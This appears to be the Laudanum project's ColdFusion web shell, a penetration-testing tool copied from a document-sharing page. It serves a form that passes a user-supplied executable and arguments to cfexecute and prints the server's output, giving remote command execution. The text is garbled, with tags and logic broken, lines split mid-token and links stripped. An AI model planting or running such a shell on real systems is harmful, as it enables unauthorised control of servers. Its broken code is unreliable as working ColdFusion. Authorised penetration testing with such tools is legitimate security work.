You are on page 1of 2

<cfapplication scriptProtect="none">

/* *****************************************************************************
*** Laudanum Project
*** A Collection of Injectable Files used during a Penetration Test
*** More information is available at:
*** Project Leads:
*** Kevin Johnson <
*** Tim Medin <>
*** Copyright 2012 by Kevin Johnson and the Laudanum Team
*** This file provides access to shell acces on the system.
*** Modified by Tim Medin
*** TODO: Fix the problem with quotes
*** Add authentication
*** This program is free software; you can redistribute it and/or
*** modify it under the terms of the GNU General Public License
*** as published by the Free Software Foundation; either version 2
*** of the License, or (at your option) any later version.
*** This program is distributed in the hope that it will be useful,
*** but WITHOUT ANY WARRANTY; without even the implied warranty of
*** GNU General Public License for more details.
*** You can get a copy of the GNU General Public License from this
*** address:^
*** You can also write to the Free Software Foundation, Inc., 59 Temple
*** Place - Suite 330, Boston, MA 02111-1307, USA.
***************************************************************************** */
<cfif #cgi.remote_addr# neq "">
<cfheader statuscode="404" statustext="Page Not Found" />
<cfabort />
<head><title>Laudanum Coldfusion Shell</title></head>
<form action="shell.cfm" method="POST">
<cfif IsDefined("form.cmd")>
Executable: <Input type="text" name="cmd" value="<cfoutput>#HTMLEditFormat(form.
cmd)#</cfoutput>"> For Windows use: cmd.exe or the full path to cmd.exe<br>
Arguments: <Input type="text" name="arguments" value="<cfoutput>#HTMLEditFormat(
form.arguments)#</cfoutput>"> For Windows use: /c <i>command</i><br>
Executable: <Input type="text" name="cmd" value="cmd.exe"><br>
Arguments: <Input type="text" name="arguments" value="/c "><br>
<input type="submit">
<cfif IsDefined("form.cmd")>
<cfexecute name="#Replace(preservesinglequotes(form.cmd), QuoteMark, DoubleQuote
Mark, 'All')#" arguments="#Replace(preservesinglequotes(form.arguments), QuoteMa
rk, DoubleQuoteMark, 'All')#" timeout="5" variable="foo"></cfexecute>
<cfoutput>#Replace(foo, "<", "&lt;", "All")#</cfoutput>
Note: The cold fusion command that executes shell commands strips quotes, both d
ouble and single, so be aware.
Copyright &copy; 2012, <a href="">Kevin Johnson
</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="">laudanum.s</a>.